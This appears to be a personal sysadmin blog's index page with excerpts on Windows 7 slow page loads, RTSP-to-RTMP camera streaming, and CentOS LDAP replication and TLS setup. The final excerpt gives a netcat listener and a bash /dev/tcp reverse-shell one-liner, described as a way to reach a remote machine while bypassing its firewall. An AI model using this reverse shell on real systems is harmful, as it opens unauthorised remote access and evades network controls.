Computerglitch

An ongoing adventure

Some Sites Don’t Load / Load Slow - Symptoms & Fix - Windows 7

I noticed that internet sites were loading slowly or not at all on some systems that I had upgraded from Windows XP to clean installs of Windows 7. Pinging internet sites was fine, nslookup and dig queries all returned correct DNS resolution with no errors.

Sites such as google would load okay but larger sites like Amazon would load halfway or simply not load at all. Keep in mind these symptoms were seen on clean installs of Windows 7, and because of that malware causing these problems was thrown out of the equation.

As stated earlier all attempts to ping outside hosts worked perfectly fine. All DNS resolution was working beautifully so to dig a little further I fired up Wireshark and noticed the following:

Converting Axis RTSP to RTMP Streams

These are some notes I took while integrating a solution providing live streaming of an Axis camera to a media server that converted the stream from rtsp to rtmp and was displayed on a website using flowplayer. The following technologies were used to accomplish this configuration:

LDAP Replication

I recently had a project where I needed to provide replication for a CentOS 5 LDAP server. The slave (consumer) was going to be running CentOS 6. This post assumes you already have (2) working LDAP servers, fully resolvable, and all ldapsearch queries respond appropriately.

For clarification:

Master (Provider in LDAP terms) - CentOS 5 server

Slave (Consumer in LDAP terms) - CentOS 6 server

On the Master:

Create a new account named replicate. Give the replicate account a password and make sure you can fully query the account from the Slave using ldapsearch.

An example ldapsearch to run from the Slave:

1
ldapsearch -h master.localdomain -p 389 -x -b "dc=localdomain,dc=com" -D "uid=replicate,ou=People,dc=localdomain,dc=com" -W

Add the following to slapd.conf on the Master

1
2
3
4
5
6
7
8
vi /etc/openldap/slapd.conf

sizelimit    100000

access to *
    by self write
    by dn="cn=replicate,ou=People,dc=localdomain,dc=com" read
    by * read

CentOS 6.4 LDAP With TLS - Quick & Dirty

This post is an overview of the commands needed to setup a basic working LDAP TLS server using CentOS 6.4. I will also go over the process of creating a POSIX user account and a POSIX group. The archived version of this is for CentOS 6 and can be found here: CentOS 6 LDAP With TLS

Add the following to your iptables configuration to allow access through the firewall, then install the required packages for your LDAP server.

/etc/sysconfig/iptables

1
2
3
4
5
6
-A INPUT -m state --state NEW -m tcp -p tcp --dport 389 -j ACCEPT
-A INPUT -m state --state NEW -m tcp -p tcp --dport 636 -j ACCEPT

service iptables restart

yum install openldap-clients pam_ldap nss-pam-ldapd pam_krb5 sssd migrationtools openldap-servers openldap openldap-devel

Note: The steps for creating the certificates are crucial for TLS to work properly and have changed since CentOS 6.0

Reverse Shell on CentOS

I wanted an easy way to get to the shell on my remote machine bypassing the firewall etc.

I’m going to refer to the systems as follows: OurSystem TargetSystem

On OurSystem we need to open a listening network connection using netcat. This can be any port we want, but I’m going to use port 443 because it’s allowed through firewalls.

1
nc -l 443

Note: Make sure the firewall isn’t blocking the listening port you choose on OurSystem

Next we need to force a bash shell back to OurSystem from TargetSystem. On the TargetSystem execute the following, substitute 12.3.4.5 with the external IP of OurSystem, substitute 443 with the port you set netcat to listen on.

1
bash -i >& /dev/tcp/12.3.4.5/443 0>&1

You should be greeted with a bash shell from TargetSystem on OurSystem.